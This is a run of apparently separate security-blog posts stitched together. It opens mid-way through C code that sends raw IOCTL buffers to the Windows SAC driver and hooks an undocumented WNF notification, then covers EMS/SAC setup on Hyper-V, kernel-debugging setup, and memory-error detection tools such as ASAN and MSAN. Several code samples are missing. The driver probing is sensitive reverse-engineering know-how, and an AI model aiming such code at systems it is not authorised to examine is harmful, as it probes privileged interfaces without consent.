            fprintf(file, "DeviceIoControl failed. Error code: %lu\n", GetLastError());
            CloseHandle(hDevice);
            return 1;
        }
        else {
            fprintf(file, "DeviceIoControl succeeded. Bytes returned: %lu\n", bytesReturned);
            fprintf(file, "Output buffer: %s\n", outputBuffer);
            return 1;
        }

}


int SACRead(HANDLE hDevice)
{

    BOOL bResult;
    DWORD bytesReturned;
    char inputBuffer[0x18] = { 0xFF, 0x59, 0xF5, 0x4A, 0x57, 0x52, 0xEF, 0x11, 0xBD, 0x85, 0x00, 0x15, 0x5D, 0x1D, 0x05, 0x0A };
    char outputBuffer[100] = { 0 };

        bResult = DeviceIoControl(hDevice,
            IOCTL_CODE_READ,
            inputBuffer,
            0x18,
            outputBuffer,
            sizeof(outputBuffer),
            &bytesReturned,
            NULL);
        if (!bResult) {
            fprintf(file, "DeviceIoControl failed. Error code: %lu\n", GetLastError());
            // CloseHandle(hDevice);
            
        }
        else {
            fprintf(file, "DeviceIoControl succeeded. Bytes returned: %lu\n", bytesReturned);
            fprintf(file, "Output buffer: %x\n", outputBuffer);
            //return 1;


    }
    return 1;

}

int SACWrite(HANDLE hDevice)
{

    BOOL bResult;
    DWORD bytesReturned;
    char inputBuffer[0x21] = { 0x9E, 0x41, 0xB5, 0x7A, 0x07, 0x5C, 0xEF, 0x11, 0xBD, 0x8E, 0x00, 0x15, 0x5D, 0x1D, 0x05, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x20, 0x73, 0x64, 0x67, 0x00};
    char outputBuffer[32] = { 0 };

        bResult = DeviceIoControl(hDevice,
            IOCTL_CODE_WRITE,
            inputBuffer,
            sizeof(inputBuffer),
            NULL,
            NULL,
            &bytesReturned,
            NULL);
        if (!bResult) {
            fprintf(file, "DeviceIoControl  SACWrite failed. Error code: %lu\n", GetLastError());
            //CloseHandle(hDevice);
            //return 1;
        }
        else {
            fprintf(file, "DeviceIoControl SACWrite succeeded.\n");
        }

    fprintf(file, "DeviceIoControl succeeded. Bytes returned: %lu\n", bytesReturned);
    fprintf(file, "Output buffer: %s\n", outputBuffer);
}


int SubscribeEvent() {
    HANDLE hDevice;
    NTSTATUS ntStatus;
    WNF_USER_SUBSCRIPTION userSubscription{};
    const char* file_path = "C:\\SAC.log";
    // Replace "\\\\.\\DeviceName" with the actual device name.
    hDevice = CreateFile(L"\\\\.\\SAC",
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    // Open log file for writing
    file = fopen(file_path, "w");
    if (hDevice == INVALID_HANDLE_VALUE) {
        fprintf(file, "Failed to open device. Error code: %lu\n", GetLastError());
        return 1;
    }

    HINSTANCE hNtdll = LoadLibrary(TEXT("NtDll.dll"));
    if (hNtdll)
    {
        RtlSubscribeWnfStateChangeNotification_t RtlSubscribeWnfStateChangeNotification = (RtlSubscribeWnfStateChangeNotification_t)GetProcAddress(hNtdll, "RtlSubscribeWnfStateChangeNotification");
        if (RtlSubscribeWnfStateChangeNotification == NULL) {
            fprintf(file,"Failed to resolve RtlSubscribeWnfStateChangeNotification\n");
            FreeLibrary(hNtdll);
            return 1;
        }
        WNF_USER_SUBSCRIPTION userSubscription{0x288};
        NTSTATUS ntStatus = RtlSubscribeWnfStateChangeNotification(&userSubscription, WNF_EMS_SACSVR_STATE_CHANGE, 0, WnfCallback,
            0,
            0,
            0,
            0);
        if (ntStatus == 0)
        {
            fprintf(file, "Subscribe to notification succesfully\n");
        }
        else {
            fprintf(file, "RtlSubscribeWnfStateChangeNotification error : %08x", ntStatus);
        }
        
        //RtlSubscribeWnfStateChangeNotification pSubscribe = (RtlSubscribeWnfStateChangeNotification)GetProcAddress(hNtdll, "RtlSubscribeWnfStateChangeNotification");
        //RtlQueryWnfStateData pQuery = (RtlQueryWnfStateData)GetProcAddress(hNtdll, "RtlQueryWnfStateData");
    }

    // Close the file
    fclose(file);
    CloseHandle(hDevice);
    Sleep(100000);
    return 0;
}

Beside that, CShell::Read and CShell::Write are used to read and write data to pipe of command shell.

That's all the information releavant to SAC group working. In subsequent articles, we will delve into additional intricacies of the features within the Windows operating system.

Since Windows Server 2003, Windows servers have been equipped with EMS (Emergency Management Services) for managing operations on headless servers, primarily intended for troubleshooting issues on Windows remotely.The Windows EMS feature relies on SAC (Special Administration Console) to function. Further information from Wikipedia mentioned below:

The SAC interface allows interaction with the Windows operating system via the serial (COM) port even when the system might normally be unresponsive, or if the system is embedded or headless (i.e. no keyboard/display present). An administrator can use SAC to access a command prompt, shutdown or reboot the machine, collect a crash dump, or view system information such as the hostname, OS version, running processes, or an IP address or addresses.

This functionality is currently included as an optional feature in all Windows operating systems by default.Within this article, we will explore the process of setting up EMS SAC on a machine that is operating within a Hyper-V virtual environment.Subsequently, we will briefly examine the various features that SAC offers.

In order for EMS to function properly, it is necessary to set up our guest machine in a way that allows the host to connect to SAC. If you want EMS setup on a physical machine, you may proceed directly to stage 2.

Stage 1: Setting Hyper-V machine for EMS connection

To enable EMS in your guest machine, a virtual COM serial port is required.If your VM is Gen 1, you will find the choice to establish a COM port in the VM settings. Simply specify a pipe value to connect to the guest EMS.

If you are running Generation 2 VMs, you have to use following commands to  configure COM port.

Set-VMComPort -VMName "my win 11" -Path \\.\pipe\testcom -Number 1

Here -Number 1 is for COM 1. -Path contained the named pipe that this virtual COM port will use in host machine. Once done, you can verify the setting using below Get-VMComPort command.

Get-VMComPort -VMName "my win 11"

After this, next step is to turn off secure boot which is required since we are going to modify certain firmware setting using bcdedit.

To verify that the guest is able to detect virtual serial port, you can check the device manager. You will see 1 or both (depend on how many you configure) COM port here.

Now, let's see how you can configure the guest VM for EMS SAC setup.

Stage 2: Configuring Guest machine for EMS.

Inside the guest,  the initial step you should take is to install the optional feature of EMS SAC. For windows 11 it will be named something as EMS and SAC Toolset for Windows (client edition). To set it up, type "Optional features" in the search bar, proceed to "add an optional feature", and look for "EMS and SAC".Select install to proceed with the installation. After installation, a similar interface will be visible in optional features.

Once install, reboot the machine.

The next step is somewhat precautionary, but it will assist us in connecting to the SAC at the appropriate booting time. During this step, we will enable the legacy boot option in the guest machine. To accomplish this, you can execute the following bcdedit command:

bcdedit /set {default} bootmenupolicy legacy

To see the boot options during booting, you need to add a dummy boot entry. You can use following bcdedit command to do it.

bcdedit /copy {current} /d "DebugEntry"

This will just copy the existing boot entry with new name DebugEntry.  More info on boot entries: here.
You can verify the boot entry is added or not using msconfig : Goto msconfig-> Boot.

Once done, now as a final step we have to turn on and configure EMS using bcdedit. You can run below command to do that.

bcdedit /ems ON

bcdedit /emssettings EMSPORT:1 EMSBAUDRATE:115200

EMSPORT:1 refer to serial COM 1 port. Please remember the baudrate as it will be necessary for the connection later on.

It's time to reboot the machine.
On reboot, you will greet with following Boot option menu:

you can see the flag [EMS Enabled] in boot entry name. This means that the EMS is configured correctly. Now, to connect to the COM serial port, you can use putty for connection(remember to start it with administator privilege).

Inside putty, set the connection type to be "Serial". Put the pipe name on Serial line and set the correct baud rate (115200 in our case).

Click on open and continue with booting process. You will be greated with SAC prompt on putty.

Playing with SAC interface

The EMS SAC interface contain following features:

cmd                  Create a Command Prompt channel.
d                    Dump the current kernel log.
f                    Toggle detailed or abbreviated tlist info.
i                    List all IP network numbers and their IP addresses.
i <#> <ip> <subnet> <gateway> Set IPv4 addr., subnet and gateway.
id                   Display the computer identification information.
k <pid>              Kill the given process.
l <pid>              Lower the priority of a process to the lowest possible.
lock                 Lock access to Command Prompt channels.
m <pid> <MB-allow>   Limit the memory usage of a process to <MB-allow>.
p                    Toggle paging the display.
r <pid>              Raise the priority of a process by one.
s                    Display the current time and date (24 hour clock used).
s mm/dd/yyyy hh:mm   Set the current time and date (24 hour clock used).
t                    Display the task list.
restart              Restart the system immediately.
shutdown             Shutdown the system immediately.
crashdump            Crash the system. You must have crash dump enabled.
livedump [-u] [-h]   Create a live kernel dump. Optional arguments will include
                     userspace (-u) and hypervisor (-h) memory in the dump.
livedump -s <Flags>  Create a selective live kernel dump. Default flag is 0x1.

It is expected that EMS will be helpful in cases where the system hangs and behave slow. To troubleshoot the issue, following features are implemented in EMS:

• Lower the process priority
• Limit the memory usage for a process
• Kill the process
• Raise the priority of a process

In case of crash or bugcheck during booting, following options can be used.

• Display the kernel log
• Generate crashdump
• Generate kernel livedump

For all other troubleshooting cases, you can spawn a command shell. To start the command shell, you can use following shell command:

SAC>cmd
The Command Prompt session was successfully launched.

EVENT:   A new channel has been created.  Use "ch -?" for channel help.
Channel: Cmd0001

SAC>ch -sn Cmd0001

This will start the command prompt which is similar to having remote ssh shell for windows.

If you want to debug the Windows kernel running on a generation 2 VM in Hyper-V, attaching windbg is a pain in the ass. This fast guide will show you how to set up remote kernel debugging without any hassle in such scenarios.

Stage 1: Configuring Hyper-V machine for remote connection through Serial COM

To troubleshoot the kernel, the first step is to disable secure boot. And if you're running a Generation 2 virtual machine, it's likely that it's turned on. To disable secure boot, first navigate to the appropriate virtual machine settings. Security -> Enable Secure Boot (unchecking) provides the option to disable secure boot. Remember to turn off virtual machine before attempting to disable secure boot.

This can also be done using powershell:

Set-VMFirmware –Vmname VmName –EnableSecureBoot Off

The next step is to create a virtual serial COM port for the virtual machine (which is not present by default for Gen 2 machines)

If you look at the VM settings, you will note that there is no option for COM port setup in the Network Adapter option.

You have to manually set the COM port for Gen 2 VM using powershell. Before that, first verify if there is actually any virtual COM port present for the VM:

PS C:\Windows\system32> Get-VMComPort -VMName "my win 11"

VMName          Name  Path
------          ----  ----
my win 11 COM 1 
my win 11 COM 2

You can config the COM port using following powershell command:

Set-VMComPort -VMName "my win 11" -Path \\.\pipe\testcom -Number 2

Here -Number 2 is for COM 2. -Path contained the named pipe that this virtual COM port will use in host machine. Once done, you can reverify the setting using above Get-VMComPort command.

You can now turn on the windows guest and verify that the COM ports are present inside Device manager:

Stage 2: Configuring the Virtual machine guest.

The first step with the Windows virtual machine is to enable debugging. This can be done in one of two ways: graphically with msconfig or command line with bcdedit.exe.

Graphical way:

Open run, type msconfig and press enter. Now goto Boot-> Advance Options and turn on Debug check. Then select the Debug port to COM1/COM2 and set Baud rate to 115200.

Command line through bcdedit:

bcdedit /debug on

bcdedit /dbgsettings serial debugport:2 baudrate:115200

Here debugport 2 represent COM 2 serial port.

Stage 3: Attaching windbg to remote VM for kernel debugging

Start windbg as administrator. Goto File-> Start Debugging -> Attach to kernel

Here, select COM tab and put the named pipe created earlier on Port field and press enter.

You you would be promt with debugging session for that particular guest machine.

In this concluding section, we will explore tools (and few techniques) that have been specifically designed to improve the detection of memory errors in development or testing settings. While these tools often incur a significant performance overhead, they are not commonly utilized in production environments. However, they possess the full capacity to prevent memory corruption, similar to the techniques we have previously discussed in the first and second generation mitigations.

BoundsChecker

Around 1991 NuMega corp released a Memory leaks detection suite that is capable of detecting many kinds of array and buffer overrun conditions. Currently the tool is supported as part of Visual Studio in the form of Devpartner studio.

DevPartner suite has Error Detection functionality helps you find memory corruption problems caused by one of the following types of problems:

• Overrun allocated buffers (Buffer overflow)
• Continued access to memory after it has been deallocated (Use after free)
• Deallocating a resource multiple times (Double free)

The works by conducting instrumentation to effectively track memory usage and validate API calls. Unfortunately, the source code for this suite is not accessible, and due to its limited popularity, I made the decision to refrain from further exploration.

Limitations of BoundChecker

Due to the proprietary nature of Boundschecker, it has not been implemented anywhere and has not gained much popularity.

Because of its extensive instrumentation and runtime memory tracking, it is not utilized in production but rather serves as a testing suite during application development phases.

Furthermore, the tool has not been maintained for several years.

PageHeap

Sometime around 199X, Windows has added a feature of pageheap in WDK suite to monitor heap allocation and detect any access overruns in heap. PageHeap was present in GFlags, the Global Flags Editor, that is use to enable and disable advanced debugging, diagnostic, and troubleshooting features.

PageHeap has a very straightforward implementation. When a process is started with GFlag, each heap allocationcan be either writes fill patterns at the end of each heap allocation and examines the patterns when the allocations are freed, or it places an inaccessible page at the end of each allocation so that the program stops immediately if it accesses memory beyond the allocation.

Using PageHeap:

• To enable standard page heap verification for all processes, use gflags /r +hpa or gflags /k +hpa.
• To enable standard page heap verification for one process, use gflags /p /enable ImageFileName.
• To enable full page heap verification for one process, use gflags /i ImageFileName +hpa or gflags /p /enable ImageFileName /full.

TODO: Add PageHeap in action section

Memcheck (Valgrind)

Memcheck is a module in Valgrind project added in 2003. The whole Valgrind project uses dynamic memory instrumentation to work, so does memcheck.By employing memcheck, all memory reads and writes undergo thorough examination, and calls to malloc/new/free/delete are closely monitored. Consequently, Memcheck has the capability to identify various issues:

• Use of uninitialised memory
• Reading/writing memory after it has been free'd
• Reading/writing off the end of malloc'd blocks
• Reading/writing inappropriate areas on the stack
• Memory leaks - where pointers to malloc'd blocks are lost forever
• Mismatched use of malloc/new/new [] vs free/delete/delete []
• Overlapping src and dst pointers in memcpy() and related functions

Technical details

Memcheck performs four kinds of memory error checking.

• First, it tracks the addressability of every byte of memory, updating the information as memory is allocated and freed. With this information, it can detect all accesses to unaddressable memory.
• Second, it tracks all heap blocks allocated with malloc(), new and new[]. With this information it can detect bad or repeated frees of heap blocks, and can detect memory leaks at program termination.
• Third, it checks that memory blocks supplied as arguments to functions like strcpy() and memcpy() do not overlap. This does not require any additional state to be tracked.
• Fourth, it performs definedness checking: it tracks the definedness of every bit of data in registers and memory. With this information it can detect undefined value errors with bit precision.

Memcheck uses something called shadow memory to keep track of addressability of process original memory. The Valgrind framework intercepts function and system calls which cause usable address ranges to appear/disappear. Memcheck is notified of such events and marks shadow memory appropriately. For example, malloc and mmap bring new addresses into play: mmap makes memory addressable and defined, whilst malloc makes memory addressable but undefined. Similarly, whenever the stack grows, the newly exposed area is marked as addressable but undefined. Whenever memory is deallocated, the deallocated area also has its values all marked as undefined. Memcheck also uses such events to update its maps of which address ranges are legitimately addressable. By doing that it can detect accesses to invalid addresses, and so report to the user problems such as buffer overruns, use of freed memory, and accesses below the stack pointer.

Moreover, It normally uses 2 bits of shadow memory(explained in detail in next section) per byte of application memory; the shadow for every byte has 4 states: addressable and initialized, not addressable, address-able but uninitialized, addressable and partially initialized. If the byte is partially initialized then the tool maintains a second layer of shadow, this time with bit-to-bit mapping.

The most complex part of Memcheck working is the definedness feature. The basic idea underlying the definedness checking is as follows.

• Every single bit of data, b, maintained by a program, in both registers and memory, is shadowed

The first three checks are done using instrumentation by a piece of metadata, called a definedness bit. For historical reasons these are often also referred to as V bits (V being short for “validity”). Each V bit indicates whether or not the bit shadows is regarded as currently having a properly defined value.

Every single operation that creates a value is shadowed by a shadow operation that computes the V bits of any outputs, based on the V bits of all inputs and the operation. The exact operations performed by this shadow computation are important, as they must be sufficiently fast to be practical, and sufficiently accurate to not cause many false positives.

• Every operation that uses a value in such a way that it could affect the observable behavior of a program is checked. If the V bits indicate that any of the operation’s inputs are undefined, an error message is issued. The V bits are used to detect if any of the following depend on undefined values: control flow transfers, conditional moves, addresses used in memory accesses, and data passed to system calls.

A V bit of zero indicates that the corresponding data bit has a properly defined value, and a V bit of one indicates that it does not. Every 32-bit general purpose register is shadowed by a 32-bit shadow register, and every byte of memory has a shadow V byte.

Memcheck in action

Let’s run the classic_overflow program under with valgrind:

Output:

In the output, you will observe that memcheck is able to detect an overflow scenario and display the stack data for the purpose of debugging.

Limitations of MemCheck

Due to the definedness feature and extensive instrumentation, running the program with memcheck can result in a slowdown of up to 40%. Additionally, the memory usage is doubled due to the inclusion of shadow bytes. As a result, memcheck is typically only used in a testing environment to identify bugs in the application. These tools are commonly employed to either track down specific bugs or confirm the absence of any hidden bugs (which can be detected by Memcheck) in the code.

In addition to the performance penalty, an important limitation of Memcheck is its inability to detect all cases of bounds errors in the use of static or stack-allocated data. The following code will pass the Memcheck tool in Valgrind without incident, despite containing the errors described in the comments:

Resources:

https://nnethercote.github.io/pubs/memcheck2005.pdf

https://www.cs.cmu.edu/afs/cs.cmu.edu/project/cmt-40/Nice/RuleRefinement/bin/valgrind-3.2.0/docs/html/mc-manual.html

Taint trace

Developed in 2006 by researcher from MIT, Tainttrace was a tracing tool that protects systems from software exploits. The tool is capable of protecting against following types of memory corruptions:

• Buffer overflows
• Format string attacks
• Indirect branch modifications

Tainttrace worked dynamically hence doesn’t need any specific compilation. It uses DynamoRio for dynamic instrumentation. Besides that, it uses 1to1 shadow memory mapping for application memory to keep track of memory structure of process. More information below from there research paper:

The system consists of four components. A configuration file is used to specify the security policy. The shadow memory is a data structure used to maintain the taint information of application data. Program monitor is the core module used to perform the instrumentation, intercept system calls, and enforce security policies. A customized loader is used to load the application binary, shadow memory, and program monitor into different memory spaces. To start an application, our loader first loads the various components into specific memory spaces and then passes control to the program monitor. The program monitor reads the configuration file and sets up the tracing policy. It also initializes the shadow memory, that is, it marks the untrusted sources specified by the configuration file as tainted, and other sources as clear. After initialization, the application executes under our program monitor. All the code to be executed in user mode is first copied into the code cache. This includes application code and shared libraries. The program monitor inserts additional code for maintaining, propagating, and checking taint status before executing the code. In this way, we achieve comprehensive information flow tracing. At critical program points specified by our policy (e.g. indirect branch), run-time condition checking is performed to restrict sensitive data usage.

Shadow memory

As mentioned above, Tainttrace uses shadow memory to keep track of which memory is tainted and which in not. It uses following offset to store the shadow bytes representing the original program bytes:

l2 = l1[(addr >> 16) & 0xffff];
shadow = &l2[addr & 0xffff];

It uses a simple addressing strategy that maps the shadow memory byte by adding a constant offset, shadow base, to the application memory byte address. The customized loader partitions the memory space to support this mapping. This byte- to-byte mapping makes taint propagation simple and efficient.

0 – Good byte

1 – Bad byte

Implementation details

The loader is implemented by modifying the source code of Valgrind. It consists of two stages. In stage 1, it loads the code of stage 2 into the monitor space (0xb0000000 to 0xbfffffff) and transfers control to stage 2. In stage 2, the application and its shared libraries are loaded into the application space (0x000000000 to 0x57f00000). It also loads DynamoRIO into the monitor space and transfers control to DynamoRIO. DynamoRIO loads our program monitor, dr-instrument.so, implemented as a shared library, into the monitor space. DynamoRIO constructs basic blocks for execution and instrument. so is used to perform the instrumentation and intercept system calls. Syscall interception is used for several purposes: allocating shadow memory, marking taint status for data read from files or sockets, and modifying temporary file operations.

Limitations of TaintTrace

The main problem with TaintTrace is its performance overhead of 5 times, which is caused by the need for instrumentation and continuous memory monitoring. Additionally, it should be noted that it requires twice the amount of memory compared to the default due to the use of shadow memory.

Since its release in 2006, the developer has not actively maintained it for several years, making it largely deprecated and not widely used.

Resources:

https://wiki.aalto.fi/download/attachments/65019433/Jukka_Julku_dynamic_program_analysis_tools_for_software_security.pdf?version=1&modificationDate=1336810687000&api=v2

ASAN (AddressSanatizer)

Address Sanatizer (ASAN) was first introduced by Google in 2012. Unlike first and second gen mitigations, this was introduced to detect memory corruption bugs in the debug environment and never meant to be part of the production system due to its performance implications.

In summary, AddressSanitizer (aka ASan) is a memory error detector tool that is implemented in different compiler like gcc, clang  that detects bugs in the form of undefined or suspicious behavior by a compiler inserting instrumentation code at runtime. Asan is capable of detecting following class of memory corruption bugs:

• Use after free (dangling pointer dereference)
• Heap buffer overflow
• Stack buffer overflow
• Global buffer overflow
• Use after return
• Use after scope
• Initialization order bugs
• Memory leaks

Address Sanitizer Implementation details:

AddressSanitizer consists of two parts: an instrumentation module and a run-time library. The instrumentation module modifies the code to check the shadow state for each memory access and creates poisoned red-zones around stack and global objects to detect overflows and underflows. The run-time library replaces malloc, free and related functions, creates poisoned redzones around allocated heap regions, delays the reuse of freed heap regions, and does error reporting.

Let's try to run our classic buffer overflow program and observe the output produced by ASAN.

You can compile it using gcc and clang since both support ASAN, while compiling provide a special flag to tell the compiler to build binary with ASAN support.

Let’s execute the above program with a buffer overflow scenario:

In the above scenario, it is evident that ASAN is capable of detecting the buffer overflow. Subsequently, the output provides the call stack. Adjacent to the call stack is the line number and the event that triggers the overflow. Following that, we possess the shadow memory that ASAN has preserved for the process. Let us delve deeper into the significance of this shadow memory.

Shadow memory

ASAN maintains a separate memory for itself in the process memory that keeps track of the original process memory (i.e stack and heap allocations). This shadow memory has information about the current state of the original memory.  ASAN allocates 1 byte of shadow memory to each 8 bytes of application/process memory. These bytes can have one of the values:

• FX (F1 to FF) – To refer the red zones. Red zones can also be referred as guard bytes that are memory that is not addressable to application flow i.e process events should not read/write these bytes (similar to guard pages).
• 00 – Complete 8 bytes that this shadow byte point is addressable.
• 0X (X lies between 0-7) – X number of bytes are addressable.

Let’s try to understand it with an example.

An allocation of 10 bytes using char a[10] will be represented as 00 02. Where 00 represents the first 8 bytes of allocated memory for “a” and 02 for the remaining 2 bytes.

Few more examples below:

Each of these shadow bytes are presented at fix offset to the original byte location: The ASAN runtime calculates the shadow byte address using following formula -> (address >> 3) + some_offset. This offset value is defined or set by the compiler during compilation.

Instrumentation:

Address sanitizer uses instrumentation to add the red zones around the boundary of each allocation and verify the shadow bytes on every access. When instrumenting an 8-byte memory access, Address Sanitizer computes the address of the corresponding shadow byte, loads that byte, and checks whether it is zero:

Runtime Library

The main purpose of the run-time library is to manage the shadow memory. At application startup the entire shadow region is mapped so that no other part of the program can use it. For memory corruption detection against heap, malloc and free functions are replaced with a specialized implementation. The malloc function allocates extra memory, the redzone, around the returned region. The redzones are marked as unaddressable, or poisoned. The memory regions inside the allocator are organized as an array of freelists corresponding to a range of object sizes. When a freelist that corresponds to a requested object size is empty, a large group of memory regions with their redzones is allocated from the operating system. Each redzones is of minimum 32 bytes in size and looks something like this in memory

The free function poisons the entire memory region and puts it into quarantine, such that this region will not be allocated by malloc any time soon.

For globals, the redzones are created at compile time and the addresses of the redzones are passed to the run- time library at application startup.

For stack objects, the redzones are created and poisoned at run-time. Currently, redzones of 32 bytes (plus up to 31 bytes for alignment) are used.

ASAN in action

Let’s try to understand the instrumentation done by ASAN using a simple C program:

Before ASAN:

After ASAN:

Below instructions are to create a fake stack frame for ASAN

Below instructions is to reach to the address of shadow memory using ( address >> 3). This offset can be changed based on ASAN flags.

If you look at the snippet below, the F1 bytes moved to r13+7FFF8000 is the stack left redzone and bytes at r13+7FFF8008 is the right redzone. From r13+7fff8004 to 7fff8008 is the representation of our buffer a[20] which is represented as 00 00 04 (equivalent to 20 bytes).

Full list of redzone bytes identification below:

You will also observe that the memcpy has been substituted with asan_memcpy, which is a component of the ASAN runtime library employed to ascertain if we are copying the data to the accurate location and no redzone bytes are being written. A very comparable ASAN concept operates for Heap.

Currently ASAN is supported in following compilers:

• Clang (starting from version 3.1)
• GCC (starting from version 4.8)
• Xcode (starting from version 7.0)
• MSVC (widely available starting from version 16.9).

Limitation of ASAN

1. On an average, the ASAN instrumentation enhances the processing time by approximately 73% and the memory usage by 240%. Due to this reason, it is never utilized in production but instead confined to usage in a debugging environment or utilized by fuzzers such as libfuzzer and AFL to identify memory corruptions.
2. TheASAN  instrumentation may miss a very rare type of bug: an unaligned access that is partially out-of-bounds. For example:

if an out-of-bounds access touches memory too far away from the object bound it may land in a different valid allocation and the bug will be missed.

Resources:

https://storage.googleapis.com/pub-tools-public-publication-data/pdf/37752.pdf

UBSAN (UndefinedBehaviorSanitizer)

UBSAN was introduced in 2012 in clang project starting from version 3.3 and 2013 in GCC since version 4.9. UBSAN uses compile-time instrumentation to catch undefined behavior during program execution.

These are some common types of bugs that UBSAN detect:

• Array subscript out of bounds, where the bounds can be statically determined
• Bitwise shifts that are out of bounds for their data type
• Dereferencing misaligned or null pointers
• Signed integer overflow
• Conversion to, from, or between floating-point types which would overflow the destination
  

It works in similar fashion like any other sanitizers, by instrumenting every memory load.

UBSAN in action

Let’s look at the case of null pointer dereference in C program:

Compile it using clang and execute it:

You can see UBSAN has detected null pointer dereference occur due to c=*pi. Let’s see how the compiled binary code changes.

Before

After

You will notice in UBSAN compiled code adds null pointer check after each memory load into register using cmp instruction. At the end it has __ubsan_handle_type_mismatch  which detects any NULL pointer access, unaligned memory access, or accessing memory from a pointer whose data is an insufficient size.

Limitations of UBSAN

Similar to ASAN, UBsan has performance related drawback. Adding UBSan instrumentation slows down programs by around 2 to 3x and increases the file size by around 20 times.

Resources:

https://clang.llvm.org/docs/UndefinedBehaviorSanitizer.html

https://blogs.oracle.com/linux/post/improving-application-security-with-undefinedbehaviorsanitizer-ubsan-and-gcc

MSAN (Memory Sanitizer)

The MSAN was initially presented in 2015 by the same group that was accountable for creating the ASAN. The primary objective of the MSAN was to identify uninitialized memory in the C/C++. In a manner similar to the ASAN, it operates through compile time instrumentation, but at present, it is only compatible with CLANG.

MSAN implementation details

MSAN uses shadow memory, instrumentation and runtime library similar to ASAN but doesn’t require red zones to work. Detailed working explained below.

Shadow memory

MemorySanitizer employs 1-to-1 shadow mapping, i.e. for each bit of application memory the tool keeps one bit of shadow memory. Bit 0 in shadow memory stands for initialized, or defined bit, and value 1 — for uninitialized (undefined) bit.  All newly allocated memory is “poisoned”, i.e. corresponding shadow memory is filled with 0xFF, signifying that all bits of this memory are uninitialized.

For origin tracking it allocates another region of the same size immediately following the shadow memory region.

Instrumentation

MemorySanitizer needs to handle all possible LLVM IR (SSA-based program representation) instructions either by checking operand shadow, or by propagating it to the result shadow. For every IR temporary value MemorySanitizer creates another temporary that holds its shadow value.

Runtime library

MemorySanitizer runtime library shares much common code with AddressSanitizer and ThreadSanitizer libraries. At startup it makes the lower protected area inaccessible, and maps Shadow and, optionally, Origin areas. MemorySanitizer uses the same allocator as the other Sanitizer tools. It does not add redzones around memory allocations, and does not implement memory quarantine. Allocated regions (with the exception of calloc regions) are marked as uninitialized, or ‘poisoned‘. Deallocated regions are marked uninitialized as well.

MemorySanitizer also implements origin tracking, which helps users to understand the errors. In origin tracking mode, MemorySanitizer associates a 32-bit origin value with each application value. This value serves as an identifier of a memory allocation (either heap or stack) that created the uninitialized bits this value depends on.

MSAN in action

Let’s look at MSAN in action with a small illustration.

Compile the above program with MSAN and execute it. You will find following report from MSAN

You will observe that MSAN has identified the utilization of an uninitialized value in the line that contains if(a[argc]). MemorySanitizer is capable of retracing each uninitialized value back to the memory allocation where it originated from, and utilize this data in the generated reports. This functionality is activated by using the -fsanitize-memory-track-origins flag.

Let’s see how the program differ in IDA:

Before:

After

Limitations of MSAN

MSAN does it’s job pretty well without any False negatives or false positives, only drawback it holds similar to other such tool is it’s performance overhead which limit it to use only in testing environment. It takes 2x more memory as it needs 1:1 shadow memory mapping and the execution time get increased to 2.5x due to instrumentation and runtime library work.

Other drawback of MSAN is its limited support to clang and linux environments.

Resources:
https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43308.pdf

MTE (Memory tagging Extension)

In 2018, ARM unveiled MTE in ARMv8.5-A, a hardware-enforced memory violation feature for the ARM architecture. It is referred to as a replacement for sanitizers due to its close resemblance in functionality, but with significantly reduced overhead. Unlike all the other tools mentioned in this chapter, MTE is currently the only tool being utilized in production(reference).

MTE internals

MTE is based on the concept of tagging. To store tags in virtual addresses, It uses the “Top byte ignore” bits in 64 bit AARCH64 addressing.

At high level, when MTE is turned on, memory locations are tagged by adding four bits of metadata to each 16 bytes of physical memory. On memory store/allocation, the same tag is moved into the virtual address. During dereference/loading, tag are matched if they are same or not. The whole concept can be understood better using the illustration below.

To use MTE in linux(currently only supported by llvm), compile and link your program with -fsanitize=memtag flag. This will only work when targeting AArch64 with MemTag extension. One possible way to achieve that is to add -target aarch64-linux -march=armv8+memtag to compilation flags. Below are the common instruction compiler can use to add tags to program.

Resources:

https://developer.arm.com/-/media/Arm%20Developer%20Community/PDF/Arm_Memory_Tagging_Extension_Whitepaper.pdf

https://8ksec.io/arm64-reversing-and-exploitation-part-10-intro-to-arm-memory-tagging-extension-mte/

Future of Memory corruptions and it’s mitigations

Examining the evolution of memory corruption vulnerabilities reveals a notable shift in recent years. The collective awareness within the security industry and among developers has significantly increased, leading to a decline in the prevalence of straightforward memory corruptions. However, these vulnerabilities persist in more intricate forms. Notably, the realms of Linux and Windows kernelspace continue to harbor traditional memory corruption vulnerabilities, albeit in decreasing numbers.

Despite the persistence of these vulnerabilities, the implementation of robust mitigations has made exploiting memory corruptions progressively challenging. As security measures become more sophisticated, the traditional avenues for attacks are closing, pushing adversaries towards exploiting complex and less common scenarios.

In the landscape of mitigations, we currently deploy first-generation defenses that provide protection against a wide range of cases. Second-generation mitigation support is now integrated into most compilers and architectures, although it is not always enabled by default. There remains room for improvement in terms of performance, and efforts are underway to strike the right balance between security and efficiency.

Additionally, the collaboration between hardware and software ecosystems is strengthening, with more emphasis on designing processors and architectures that inherently resist memory corruption exploits. The integration of hardware-enforced security mechanisms, such as Intel's Control-Flow Enforcement Technology (CET) and ARM's Pointer Authentication Codes (PAC), adds an extra layer of defense against memory-based attacks.

Moreover, the adoption of DevSecOps practices is playing a pivotal role in mitigating memory corruption risks. The continuous integration and deployment pipelines incorporate security checks (chapter 3) and automated testing for identifying and addressing vulnerabilities in the early stages of development.

In conclusion, while memory corruption vulnerabilities persist, the landscape is evolving towards a more resilient future. The combination of advanced mitigations, collaborative hardware-software efforts, and proactive development practices positions the cybersecurity community to stay one step ahead in the ongoing cat-and-mouse game with malicious actors.

Memory-safe Programming Languages:

Using memory-safe programming languages, such as Rust or Ada, can provide inherent memory protection by preventing common programming errors like buffer overflows, use-after-free, and null pointer dereferences. These languages incorporate memory safety features into their design and mitigate many memory-related vulnerabilities. Major platform vendors like Microsoft and linux kernel are spending their resources and money to shift the core of their operating system from C/C++ to more robust language rust. It will be interesting to see the outcome in upcoming years.

Mitigation matrix:

The matrix provided below will prove beneficial for both security researchers and developers. Security professionals can utilize it to identify the current mitigations available and the potential challenges they may encounter in real-world applications. Developers can also make use of this matrix to determine the necessary measures to incorporate into their applications while ensuring minimal impact on performance.

Yellow: First generation mitigation

Blue: Second generation mitigation

Blue: Error detection tools

In this part we will discuss about the second generation mitigations timeline.

Second generation mitigations ( Gods)

